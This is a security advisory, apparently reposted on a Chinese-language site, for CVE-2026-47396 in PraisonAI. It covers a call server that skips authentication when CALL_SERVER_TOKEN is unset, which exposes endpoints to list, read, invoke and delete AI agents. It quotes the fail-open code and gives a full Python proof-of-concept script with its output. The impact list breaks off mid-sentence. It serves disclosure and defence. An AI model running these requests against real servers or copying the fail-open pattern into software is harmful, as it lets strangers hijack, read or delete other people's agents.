返回列表

PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset

CVE-2026-47396RCE2026-05-29

漏洞描述

### Summary PraisonAI's call server exposes a network-facing agent control API without authentication when `CALL_SERVER_TOKEN` is not configured. The affected component is the `praisonai.api.agent_invoke` router as mounted by `praisonai.api.call`. The authentication helper `verify_token()` fails open when `CALL_SERVER_TOKEN` is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents. This is security-relevant because the bundled call server includes the vulnerable router and binds to `0.0.0.0`. As a result, operators who launch the call server without explicitly setting `CALL_SERVER_TOKEN` may unintentionally expose an unauthenticated remote agent control plane. ### Details The vulnerable behavior is caused by a fail-open authentication default. In `praisonai/api/agent_invoke.py`, `CALL_SERVER_TOKEN` is read from the environment: ```python CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN') ``` The authentication dependency then returns successfully when the token is not configured: ```python async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN: return # No authentication if FastAPI unavailable or no token set ``` This means that the absence of `CALL_SERVER_TOKEN` disables authentication entirely. The same helper is used by sensitive agent-control routes, including: ```python @router.post("/agents/{agent_id}/invoke") async def invoke_agent(..., _: None = Depends(verify_token)) @router.get("/agents") async def list_agents(_: None = Depends(verify_token)) @router.delete("/agents/{agent_id}") async def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token)) @router.get("/agents/{agent_id}") async def get_agent_info(agent_id: str, _: None = Depends(verify_token)) ``` These endpoints allow a caller to: - list registered agents; - retrieve agent metadata; - retrieve agent instruction text; - invoke agents; - unregister agents. The vulnerable router is mounted by the call server: ```python from .agent_invoke import router as agent_invoke_router app.include_router(agent_invoke_router) ``` The call server then listens on all interfaces: ```python uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning") ``` Therefore, when `praisonai-call` is started without `CALL_SERVER_TOKEN`, the agent-control API becomes reachable without authentication from any client that can access the server. ### PoC The following local PoC imports the real `praisonai.api.agent_invoke` router from source, ensures `CALL_SERVER_TOKEN` is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints. The PoC proves that, without sending any authentication material: 1. `GET /api/v1/agents` returns the list of registered agents. 2. `GET /api/v1/agents/{agent_id}` exposes agent metadata and instructions. 3. `POST /api/v1/agents/{agent_id}/invoke` executes the registered agent. 4. `DELETE /api/v1/agents/{agent_id}` unregisters the agent. Run with: ```bash PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py ``` Full PoC: ```python #!/usr/bin/env python3 from __future__ import annotations import os import sys from pathlib import Path from types import SimpleNamespace REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve() PRAISON_ROOT = REPO_ROOT / "src" / "praisonai" def verify_source() -> None: expected = { PRAISON_ROOT / "praisonai/api/agent_invoke.py": [ "CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')", "if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:", '@router.post("/agents/{agent_id}/invoke")', '@router.get("/agents")', '@router.delete("/agents/{agent_id}")', '@router.get("/agents/{agent_id}")', ], PRAISON_ROOT / "praisonai/api/call.py": [ "app.include_router(agent_invoke_router)", 'uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")', ], } for path, needles in expected.items(): if not path.exists(): raise RuntimeError(f"source verification failed: file not found: {path}") text = path.read_text(encoding="utf-8") for needle in needles: if needle not in text: raise RuntimeError(f"source verification failed: {needle!r} not found in {path}") class DemoAgent: name = "demo-agent" instructions = "super-secret instructions" tools = [SimpleNamespace(name="danger-tool")] def start(self, message: str) -> str: return f"echo:{message}" def main() -> int: verify_source() os.environ.pop("CALL_SERVER_TOKEN", None) sys.path.insert(0, str(PRAISON_ROOT)) from fastapi import FastAPI from fastapi.testclient import TestClient from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router app = FastAPI() app.include_router(router) register_agent("demo", DemoAgent()) client = TestClient(app) list_resp = client.get("/api/v1/agents") info_resp = client.get("/api/v1/agents/demo") invoke_resp = client.post("/api/v1/agents/demo/invoke", json={"message": "hello"}) delete_resp = client.delete("/api/v1/agents/demo") print(f"[poc] token_configured={bool(CALL_SERVER_TOKEN)}") print(f"[poc] list_status={list_resp.status_code} body={list_resp.json()}") print(f"[poc] info_status={info_resp.status_code} body={info_resp.json()}") print(f"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}") print(f"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}") if CALL_SERVER_TOKEN: raise SystemExit("[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process") if list_resp.status_code != 200 or "demo" not in list_resp.json().get("agents", []): raise SystemExit("[poc] MISS: unauthenticated agent listing failed") if info_resp.status_code != 200 or info_resp.json().get("instructions") != "super-secret instructions": raise SystemExit("[poc] MISS: unauthenticated agent info leak failed") if invoke_resp.status_code != 200 or invoke_resp.json().get("result") != "echo:hello": raise SystemExit("[poc] MISS: unauthenticated agent invocation failed") if delete_resp.status_code != 200: raise SystemExit("[poc] MISS: unauthenticated agent unregister failed") print("[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` Observed result: ```text [poc] token_configured=False [poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'} [poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']} [poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}} [poc] delete_status=200 body={'message': "Agent 'demo' unregistered successfully", 'status': 'success'} [poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent ``` This confirms that the agent-control endpoints are accessible without authentication when `CALL_SERVER_TOKEN` is unset. ### Impact If an operator runs the PraisonAI call server without explicitly setting `CALL_SERVER_TOKEN`, any reachable client may be able to: - enumerate registered agents; - read agent metadata; - read agent instruction text; - invoke agents; - trigger downstream tools or external integrations co

查看原文